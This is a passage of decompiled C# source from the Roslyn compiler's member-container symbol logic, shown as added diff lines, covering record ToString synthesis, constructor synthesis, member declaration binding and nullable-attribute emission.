new SignatureOnlyMethodSymbol("ToString", this, (MethodKind)10, (CallingConvention)32, ImmutableArray.Empty, ImmutableArray.Empty, (RefKind)0, isInitOnly: false, isStatic: false, TypeWithAnnotations.Create(compilation.GetSpecialType((SpecialType)20)), ImmutableArray.Empty, ImmutableArray.Empty); + MethodSymbol methodSymbol4 = getBaseToStringMethod(); + Symbol value; + if ((object)methodSymbol4 != null && methodSymbol4.IsSealed) + { + if (methodSymbol4.ContainingModule != ContainingModule && !DeclaringCompilation.IsFeatureEnabled(MessageID.IDS_FeatureSealedToStringInRecord)) + { + LanguageVersion languageVersion = ((CSharpParseOptions)(object)GetFirstLocation().SourceTree.Options).LanguageVersion; + LanguageVersion version = MessageID.IDS_FeatureSealedToStringInRecord.RequiredVersion(); + diagnostics.Add(ErrorCode.ERR_InheritingFromRecordWithSealedToString, GetFirstLocation(), languageVersion.ToDisplayString(), new CSharpRequiredLanguageVersion(version)); + } + } + else if (!((Dictionary)(object)memberSignatures).TryGetValue((Symbol)key, out value)) + { + SynthesizedRecordToString synthesizedRecordToString = new SynthesizedRecordToString(this, printMethod2, members.Count); + members.Add((Symbol)synthesizedRecordToString); + } + else + { + MethodSymbol methodSymbol5 = (MethodSymbol)value; + if (!SynthesizedRecordObjectMethod.VerifyOverridesMethodFromObject(methodSymbol5, (SpecialMember)100, diagnostics) && methodSymbol5.IsSealed && !IsSealed) + { + MessageID.IDS_FeatureSealedToStringInRecord.CheckFeatureAvailability(diagnostics, (Compilation)(object)DeclaringCompilation, methodSymbol5.GetFirstLocation()); + } + } + } + bool checkMemberNotHidden(Symbol symbol, ParameterSymbol param) + { + if (((HashSet)(object)memberNames).Contains(symbol.Name) || GetTypeMembersDictionary().ContainsKey(symbol.Name.AsMemory())) + { + diagnostics.Add(ErrorCode.ERR_HiddenPositionalMember, param.GetFirstLocation(), symbol); + return false; + } + return true; + } + MethodSymbol? getBaseToStringMethod() + { + Symbol specialTypeMember = DeclaringCompilation.GetSpecialTypeMember((SpecialMember)100); + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + ImmutableArray.Enumerator enumerator2 = baseTypeNoUseSiteDiagnostics.GetSimpleNonTypeMembers("ToString").GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is MethodSymbol methodSymbol4 && methodSymbol4.GetLeastOverriddenMethod(null) == specialTypeMember) + { + return methodSymbol4; + } + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + return null; + } + void reportStaticOrNotOverridableAPIInRecord(Symbol symbol, BindingDiagnosticBag bindingDiagnosticBag) + { + if (isRecordClass && !IsSealed && ((!symbol.IsAbstract && !symbol.IsVirtual && !symbol.IsOverride) || symbol.IsSealed)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_NotOverridableAPIInRecord, symbol.GetFirstLocation(), symbol); + } + else if (symbol.IsStatic) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_StaticAPIInRecord, symbol.GetFirstLocation(), symbol); + } + } + } + + private void AddSynthesizedConstructorsIfNecessary(MembersAndInitializersBuilder builder, DeclaredMembersAndInitializers declaredMembersAndInitializers, BindingDiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Invalid comparison between Unknown and I4 + bool flag = false; + bool flag2 = false; + bool flag3 = false; + foreach (Symbol nonTypeMember in builder.GetNonTypeMembers(declaredMembersAndInitializers)) + { + if ((int)nonTypeMember.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)nonTypeMember; + MethodKind methodKind = methodSymbol.MethodKind; + if ((int)methodKind != 1) + { + if ((int)methodKind == 14) + { + flag3 = true; + } + } + else if (!IsRecord || !SynthesizedRecordCopyCtor.HasCopyConstructorSignature(methodSymbol) || methodSymbol is SynthesizedPrimaryConstructor) + { + flag = true; + flag2 = flag2 || methodSymbol.ParameterCount == 0; + } + } + if (flag && flag3) + { + break; + } + } + if ((!flag2 && this.IsStructType()) || (!flag && !IsStatic && !IsInterface)) + { + builder.AddNonTypeMember(((int)TypeKind == 12) ? new SynthesizedSubmissionConstructor(this, diagnostics) : new SynthesizedInstanceConstructor(this), declaredMembersAndInitializers); + } + if (!flag3 && hasNonConstantInitializer(declaredMembersAndInitializers.StaticInitializers)) + { + builder.AddNonTypeMember(new SynthesizedStaticConstructor(this), declaredMembersAndInitializers); + } + if (IsScriptClass) + { + SynthesizedInteractiveInitializerMethod synthesizedInteractiveInitializerMethod = new SynthesizedInteractiveInitializerMethod(this, diagnostics); + builder.AddNonTypeMember(synthesizedInteractiveInitializerMethod, declaredMembersAndInitializers); + SynthesizedEntryPointSymbol member = SynthesizedEntryPointSymbol.Create(synthesizedInteractiveInitializerMethod, diagnostics); + builder.AddNonTypeMember(member, declaredMembersAndInitializers); + } + static bool hasNonConstantInitializer(ImmutableArray> initializers) + { + return initializers.Any((ImmutableArray siblings) => siblings.Any((FieldOrPropertyInitializer initializer) => !initializer.FieldOpt.IsConst)); + } + } + + private void AddSynthesizedTupleMembersIfNecessary(MembersAndInitializersBuilder builder, DeclaredMembersAndInitializers declaredMembersAndInitializers) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (!IsTupleType) + { + return; + } + ArrayBuilder val = MakeSynthesizedTupleMembers(declaredMembersAndInitializers.NonTypeMembers); + if (val != null) + { + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + builder.AddNonTypeMember(current, declaredMembersAndInitializers); + } + val.Free(); + } + } + + private void AddNonTypeMembers(DeclaredMembersAndInitializersBuilder builder, SyntaxList members, BindingDiagnosticBag diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Invalid comparison between Unknown and I4 + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_014c: Unknown result type (might be due to invalid IL or missing references) + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Expected O, but got Unknown + //IL_0482: Unknown result type (might be due to invalid IL or missing references) + //IL_0487: Unknown result type (might be due to invalid IL or missing references) + //IL_048b: Unknown result type (might be due to invalid IL or missing references) + //IL_0490: Unknown result type (might be due to invalid IL or missing references) + //IL_0459: Unknown result type (might be due to invalid IL or missing references) + //IL_045e: Unknown result type (might be due to invalid IL or missing references) + //IL_0467: Unknown result type (might be due to invalid IL or missing references) + //IL_046c: Unknown result type (might be due to invalid IL or missing references) + //IL_0470: Unknown result type (might be due to invalid IL or missing references) + //IL_047a: Expected O, but got Unknown + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_022c: Unknown result type (might be due to invalid IL or missing references) + //IL_0230: Unknown result type (might be due to invalid IL or missing references) + //IL_023a: Expected O, but got Unknown + //IL_06ca: Unknown result type (might be due to invalid IL or missing references) + //IL_06cf: Unknown result type (might be due to invalid IL or missing references) + //IL_06d3: Unknown result type (might be due to invalid IL or missing references) + //IL_06dd: Expected O, but got Unknown + //IL_0676: Unknown result type (might be due to invalid IL or missing references) + //IL_067b: Unknown result type (might be due to invalid IL or missing references) + //IL_067f: Unknown result type (might be due to invalid IL or missing references) + //IL_0689: Expected O, but got Unknown + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_0280: Unknown result type (might be due to invalid IL or missing references) + //IL_0284: Unknown result type (might be due to invalid IL or missing references) + //IL_028e: Expected O, but got Unknown + //IL_0810: Unknown result type (might be due to invalid IL or missing references) + //IL_081a: Expected O, but got Unknown + //IL_0303: Unknown result type (might be due to invalid IL or missing references) + //IL_0308: Unknown result type (might be due to invalid IL or missing references) + //IL_030c: Unknown result type (might be due to invalid IL or missing references) + //IL_0316: Expected O, but got Unknown + //IL_0356: Unknown result type (might be due to invalid IL or missing references) + //IL_035b: Unknown result type (might be due to invalid IL or missing references) + //IL_035f: Unknown result type (might be due to invalid IL or missing references) + //IL_0369: Expected O, but got Unknown + //IL_058d: Unknown result type (might be due to invalid IL or missing references) + //IL_0592: Unknown result type (might be due to invalid IL or missing references) + //IL_0596: Unknown result type (might be due to invalid IL or missing references) + //IL_05a0: Expected O, but got Unknown + //IL_05fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0603: Unknown result type (might be due to invalid IL or missing references) + //IL_0607: Unknown result type (might be due to invalid IL or missing references) + //IL_0611: Expected O, but got Unknown + //IL_04a4: Unknown result type (might be due to invalid IL or missing references) + //IL_079c: Unknown result type (might be due to invalid IL or missing references) + //IL_07a1: Unknown result type (might be due to invalid IL or missing references) + //IL_07a5: Unknown result type (might be due to invalid IL or missing references) + //IL_07aa: Unknown result type (might be due to invalid IL or missing references) + if (members.Count == 0) + { + return; + } + MemberDeclarationSyntax syntaxNode = members[0]; + Binder binder = GetBinder(syntaxNode); + ArrayBuilder initializers = null; + ArrayBuilder initializers2 = null; + CSharpCompilation declaringCompilation = DeclaringCompilation; + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current = enumerator.Current; + if (_lazyMembersAndInitializers != null) + { + return; + } + bool flag = !((SyntaxNode)current).HasErrors; + switch (current.Kind()) + { + case SyntaxKind.FieldDeclaration: + { + FieldDeclarationSyntax fieldDeclarationSyntax = (FieldDeclarationSyntax)current; + fieldDeclarationSyntax.Declaration.Type.SkipScoped(out var _).SkipRefInField(out var refKind); + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = fieldDeclarationSyntax.Declaration.Variables.First().Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + bool modifierErrors; + DeclarationModifiers declarationModifiers = SourceMemberFieldSymbol.MakeModifiers(this, fieldDeclarationSyntax.Declaration.Variables[0].Identifier, fieldDeclarationSyntax.Modifiers, (int)refKind > 0, diagnostics, out modifierErrors); + Enumerator enumerator2 = fieldDeclarationSyntax.Declaration.Variables.GetEnumerator(); + while (enumerator2.MoveNext()) + { + VariableDeclaratorSyntax current4 = enumerator2.Current; + SourceMemberFieldSymbolFromDeclarator sourceMemberFieldSymbolFromDeclarator = (((declarationModifiers & DeclarationModifiers.Fixed) == 0) ? new SourceMemberFieldSymbolFromDeclarator(this, current4, declarationModifiers, modifierErrors, diagnostics) : new SourceFixedFieldSymbol(this, current4, declarationModifiers, modifierErrors, diagnostics)); + builder.NonTypeMembers.Add((Symbol)sourceMemberFieldSymbolFromDeclarator); + builder.UpdateIsNullableEnabledForConstructorsAndFields(sourceMemberFieldSymbolFromDeclarator.IsStatic, declaringCompilation, current4); + if (IsScriptClass) + { + ExpressionFieldFinder.FindExpressionVariables(builder.NonTypeMembers, current4, this, DeclarationModifiers.Private | (declarationModifiers & DeclarationModifiers.Static), sourceMemberFieldSymbolFromDeclarator); + } + if (current4.Initializer != null) + { + if (sourceMemberFieldSymbolFromDeclarator.IsStatic) + { + AddInitializer(ref initializers, sourceMemberFieldSymbolFromDeclarator, current4.Initializer); + } + else + { + AddInitializer(ref initializers2, sourceMemberFieldSymbolFromDeclarator, current4.Initializer); + } + } + } + break; + } + case SyntaxKind.MethodDeclaration: + { + MethodDeclarationSyntax methodDeclarationSyntax = (MethodDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = methodDeclarationSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol = SourceOrdinaryMethodSymbol.CreateMethodSymbol(this, binder, methodDeclarationSyntax, declaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)methodDeclarationSyntax), diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceOrdinaryMethodSymbol); + break; + } + case SyntaxKind.ConstructorDeclaration: + { + ConstructorDeclarationSyntax constructorDeclarationSyntax = (ConstructorDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = constructorDeclarationSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + bool flag2 = declaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)constructorDeclarationSyntax); + SourceConstructorSymbol sourceConstructorSymbol = SourceConstructorSymbol.CreateConstructorSymbol(this, constructorDeclarationSyntax, flag2, diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceConstructorSymbol); + ConstructorInitializerSyntax? initializer = constructorDeclarationSyntax.Initializer; + if (initializer == null || initializer.Kind() != SyntaxKind.ThisConstructorInitializer) + { + builder.UpdateIsNullableEnabledForConstructorsAndFields(sourceConstructorSymbol.IsStatic, flag2); + } + break; + } + case SyntaxKind.DestructorDeclaration: + { + DestructorDeclarationSyntax destructorDeclarationSyntax = (DestructorDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = destructorDeclarationSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourceDestructorSymbol sourceDestructorSymbol = new SourceDestructorSymbol(this, destructorDeclarationSyntax, declaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)destructorDeclarationSyntax), diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceDestructorSymbol); + break; + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = propertyDeclarationSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourcePropertySymbol sourcePropertySymbol2 = SourcePropertySymbol.Create(this, binder, propertyDeclarationSyntax, diagnostics); + builder.NonTypeMembers.Add((Symbol)sourcePropertySymbol2); + AddAccessorIfAvailable(builder.NonTypeMembers, sourcePropertySymbol2.GetMethod); + AddAccessorIfAvailable(builder.NonTypeMembers, sourcePropertySymbol2.SetMethod); + FieldSymbol backingField = sourcePropertySymbol2.BackingField; + if ((object)backingField == null) + { + break; + } + builder.NonTypeMembers.Add((Symbol)backingField); + builder.UpdateIsNullableEnabledForConstructorsAndFields(backingField.IsStatic, declaringCompilation, propertyDeclarationSyntax); + EqualsValueClauseSyntax initializer2 = propertyDeclarationSyntax.Initializer; + if (initializer2 != null) + { + if (IsScriptClass) + { + ExpressionFieldFinder.FindExpressionVariables(builder.NonTypeMembers, initializer2, this, (DeclarationModifiers)(0x100 | (sourcePropertySymbol2.IsStatic ? 4 : 0)), backingField); + } + if (sourcePropertySymbol2.IsStatic) + { + AddInitializer(ref initializers, backingField, initializer2); + } + else + { + AddInitializer(ref initializers2, backingField, initializer2); + } + } + break; + } + case SyntaxKind.EventFieldDeclaration: + { + EventFieldDeclarationSyntax eventFieldDeclarationSyntax = (EventFieldDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = eventFieldDeclarationSyntax.Declaration.Variables.First().Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + Enumerator enumerator2 = eventFieldDeclarationSyntax.Declaration.Variables.GetEnumerator(); + while (enumerator2.MoveNext()) + { + VariableDeclaratorSyntax current3 = enumerator2.Current; + SourceFieldLikeEventSymbol sourceFieldLikeEventSymbol = new SourceFieldLikeEventSymbol(this, binder, eventFieldDeclarationSyntax.Modifiers, current3, diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceFieldLikeEventSymbol); + FieldSymbol associatedField = sourceFieldLikeEventSymbol.AssociatedField; + if (IsScriptClass) + { + ExpressionFieldFinder.FindExpressionVariables(builder.NonTypeMembers, current3, this, (DeclarationModifiers)(0x100 | (sourceFieldLikeEventSymbol.IsStatic ? 4 : 0)), associatedField); + } + if ((object)associatedField != null) + { + builder.UpdateIsNullableEnabledForConstructorsAndFields(associatedField.IsStatic, declaringCompilation, current3); + if (current3.Initializer != null) + { + if (associatedField.IsStatic) + { + AddInitializer(ref initializers, associatedField, current3.Initializer); + } + else + { + AddInitializer(ref initializers2, associatedField, current3.Initializer); + } + } + } + AddAccessorIfAvailable(builder.NonTypeMembers, sourceFieldLikeEventSymbol.AddMethod); + AddAccessorIfAvailable(builder.NonTypeMembers, sourceFieldLikeEventSymbol.RemoveMethod); + } + break; + } + case SyntaxKind.EventDeclaration: + { + EventDeclarationSyntax eventDeclarationSyntax = (EventDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = eventDeclarationSyntax.Identifier; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourceCustomEventSymbol sourceCustomEventSymbol = new SourceCustomEventSymbol(this, binder, eventDeclarationSyntax, diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceCustomEventSymbol); + AddAccessorIfAvailable(builder.NonTypeMembers, sourceCustomEventSymbol.AddMethod); + AddAccessorIfAvailable(builder.NonTypeMembers, sourceCustomEventSymbol.RemoveMethod); + break; + } + case SyntaxKind.IndexerDeclaration: + { + IndexerDeclarationSyntax indexerDeclarationSyntax = (IndexerDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = indexerDeclarationSyntax.ThisKeyword; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourcePropertySymbol sourcePropertySymbol = SourcePropertySymbol.Create(this, binder, indexerDeclarationSyntax, diagnostics); + builder.HaveIndexers = true; + builder.NonTypeMembers.Add((Symbol)sourcePropertySymbol); + AddAccessorIfAvailable(builder.NonTypeMembers, sourcePropertySymbol.GetMethod); + AddAccessorIfAvailable(builder.NonTypeMembers, sourcePropertySymbol.SetMethod); + break; + } + case SyntaxKind.ConversionOperatorDeclaration: + { + ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = (ConversionOperatorDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = conversionOperatorDeclarationSyntax.OperatorKeyword; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourceUserDefinedConversionSymbol sourceUserDefinedConversionSymbol = SourceUserDefinedConversionSymbol.CreateUserDefinedConversionSymbol(this, binder, conversionOperatorDeclarationSyntax, declaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)conversionOperatorDeclarationSyntax), diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceUserDefinedConversionSymbol); + break; + } + case SyntaxKind.OperatorDeclaration: + { + OperatorDeclarationSyntax operatorDeclarationSyntax = (OperatorDeclarationSyntax)current; + if (IsImplicitClass && flag) + { + SyntaxToken operatorKeyword = operatorDeclarationSyntax.OperatorKeyword; + diagnostics.Add(ErrorCode.ERR_NamespaceUnexpected, (Location)new SourceLocation(ref operatorKeyword)); + } + SourceUserDefinedOperatorSymbol sourceUserDefinedOperatorSymbol = SourceUserDefinedOperatorSymbol.CreateUserDefinedOperatorSymbol(this, binder, operatorDeclarationSyntax, declaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)operatorDeclarationSyntax), diagnostics); + builder.NonTypeMembers.Add((Symbol)sourceUserDefinedOperatorSymbol); + break; + } + case SyntaxKind.GlobalStatement: + { + StatementSyntax statement = ((GlobalStatementSyntax)current).Statement; + if (IsScriptClass) + { + StatementSyntax statementSyntax = statement; + while (statementSyntax.Kind() == SyntaxKind.LabeledStatement) + { + statementSyntax = ((LabeledStatementSyntax)statementSyntax).Statement; + } + switch (statementSyntax.Kind()) + { + case SyntaxKind.LocalDeclarationStatement: + { + Enumerator enumerator2 = ((LocalDeclarationStatementSyntax)statementSyntax).Declaration.Variables.GetEnumerator(); + while (enumerator2.MoveNext()) + { + VariableDeclaratorSyntax current2 = enumerator2.Current; + ExpressionFieldFinder.FindExpressionVariables(builder.NonTypeMembers, current2, this, DeclarationModifiers.Private, null); + } + break; + } + case SyntaxKind.ExpressionStatement: + case SyntaxKind.ReturnStatement: + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.ThrowStatement: + case SyntaxKind.LockStatement: + case SyntaxKind.IfStatement: + case SyntaxKind.SwitchStatement: + ExpressionFieldFinder.FindExpressionVariables(builder.NonTypeMembers, statementSyntax, this, DeclarationModifiers.Private, null); + break; + } + AddInitializer(ref initializers2, null, statement); + } + else if (flag && !SyntaxFacts.IsSimpleProgramTopLevelStatement((GlobalStatementSyntax)current)) + { + diagnostics.Add(ErrorCode.ERR_GlobalStatement, (Location)new SourceLocation((SyntaxNode)(object)statement)); + } + break; + } + } + } + AddInitializers(builder.InstanceInitializers, initializers2); + AddInitializers(builder.StaticInitializers, initializers); + } + + private void AddAccessorIfAvailable(ArrayBuilder symbols, MethodSymbol? accessorOpt) + { + if ((object)accessorOpt != null) + { + symbols.Add((Symbol)accessorOpt); + } + } + + internal override byte? GetLocalNullableContextValue() + { + if (!_flags.TryGetNullableContext(out var value)) + { + value = ComputeNullableContextValue(); + _flags.SetNullableContext(value); + } + return value; + } + + private byte? ComputeNullableContextValue() + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (!declaringCompilation.ShouldEmitNullableAttributes(this)) + { + return null; + } + MostCommonNullableValueBuilder builder = default(MostCommonNullableValueBuilder); + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + builder.AddValue(TypeWithAnnotations.Create(baseTypeNoUseSiteDiagnostics)); + } + ImmutableArray.Enumerator enumerator = GetInterfacesToEmit().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + builder.AddValue(TypeWithAnnotations.Create(current)); + } + ImmutableArray.Enumerator enumerator2 = TypeParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.GetCommonNullableValues(declaringCompilation, ref builder); + } + ImmutableArray.Enumerator enumerator3 = GetMembersUnordered().GetEnumerator(); + while (enumerator3.MoveNext()) + { + enumerator3.Current.GetCommonNullableValues(declaringCompilation, ref builder); + } + return builder.MostCommonValue; + } + + internal bool IsNullableEnabledForConstructorsAndInitializers(bool useStatic) + { + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + if (!useStatic) + { + return membersAndInitializers.IsNullableEnabledForInstanceConstructorsAndFields; + } + return membersAndInitializers.IsNullableEnabledForStaticConstructorsAndFields; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + if (baseTypeNoUseSiteDiagnostics.ContainsDynamic()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(baseTypeNoUseSiteDiagnostics, 0, (RefKind)0)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(baseTypeNoUseSiteDiagnostics)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, baseTypeNoUseSiteDiagnostics)); + } + if (baseTypeNoUseSiteDiagnostics.ContainsTupleNames()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(baseTypeNoUseSiteDiagnostics)); + } + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + if (ShouldEmitNullableContextValue(out var value)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableContextAttribute(this, value)); + } + if ((object)baseTypeNoUseSiteDiagnostics != null) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, value, TypeWithAnnotations.Create(baseTypeNoUseSiteDiagnostics))); + } + } + } + + internal SynthesizedExplicitImplementations GetSynthesizedExplicitImplementations(CancellationToken cancellationToken) + { + if (_lazySynthesizedExplicitImplementations == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + try + { + cancellationToken.ThrowIfCancellationRequested(); + CheckMembersAgainstBaseType(instance, cancellationToken); + cancellationToken.ThrowIfCancellationRequested(); + CheckAbstractClassImplementations(instance); + cancellationToken.ThrowIfCancellationRequested(); + CheckInterfaceUnification(instance); + if (IsInterface) + { + cancellationToken.ThrowIfCancellationRequested(); + this.CheckInterfaceVarianceSafety(instance); + } + if (Interlocked.CompareExchange(ref _lazySynthesizedExplicitImplementations, ComputeInterfaceImplementations(instance, cancellationToken), null) == null) + { + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.SynthesizedExplicitImplementations); + } + } + finally + { + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + return _lazySynthesizedExplicitImplementations; + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + SynthesizedExplicitImplementations synthesizedImplementations = GetSynthesizedExplicitImplementations(default(CancellationToken)); + ImmutableArray<(MethodSymbol Body, MethodSymbol Implemented)>.Enumerator enumerator = synthesizedImplementations.MethodImpls.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + ImmutableArray.Enumerator enumerator2 = synthesizedImplementations.ForwardingMethods.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SynthesizedExplicitImplementationForwardingMethod current = enumerator2.Current; + yield return (Body: current.ImplementingMethod, Implemented: current.ExplicitInterfaceImplementations.Single()); + } + } + + private void CheckAbstractClassImplementations(BindingDiagnosticBag diagnostics) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if (IsAbstract || (object)baseTypeNoUseSiteDiagnostics == null || !baseTypeNoUseSiteDiagnostics.IsAbstract) + { + return; + } + foreach (Symbol abstractMember in base.AbstractMembers) + { + if ((int)abstractMember.Kind == 9 && !(abstractMember is SynthesizedRecordOrdinaryMethod)) + { + diagnostics.Add(ErrorCode.ERR_UnimplementedAbstractMethod, GetFirstLocation(), this, abstractMember); + } + } + } + + private SynthesizedExplicitImplementations ComputeInterfaceImplementations(BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0250: Unknown result type (might be due to invalid IL or missing references) + //IL_0254: Invalid comparison between Unknown and I4 + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01c5: Invalid comparison between Unknown and I4 + //IL_02a1: Unknown result type (might be due to invalid IL or missing references) + //IL_042c: Unknown result type (might be due to invalid IL or missing references) + //IL_0430: Invalid comparison between Unknown and I4 + //IL_044d: Unknown result type (might be due to invalid IL or missing references) + //IL_0452: Unknown result type (might be due to invalid IL or missing references) + //IL_03a5: Unknown result type (might be due to invalid IL or missing references) + //IL_0475: Unknown result type (might be due to invalid IL or missing references) + //IL_03b7: Unknown result type (might be due to invalid IL or missing references) + //IL_03bd: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder<(MethodSymbol, MethodSymbol)> instance2 = ArrayBuilder<(MethodSymbol, MethodSymbol)>.GetInstance(); + MultiDictionary interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics = base.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics; + ImmutableArray.Enumerator enumerator = 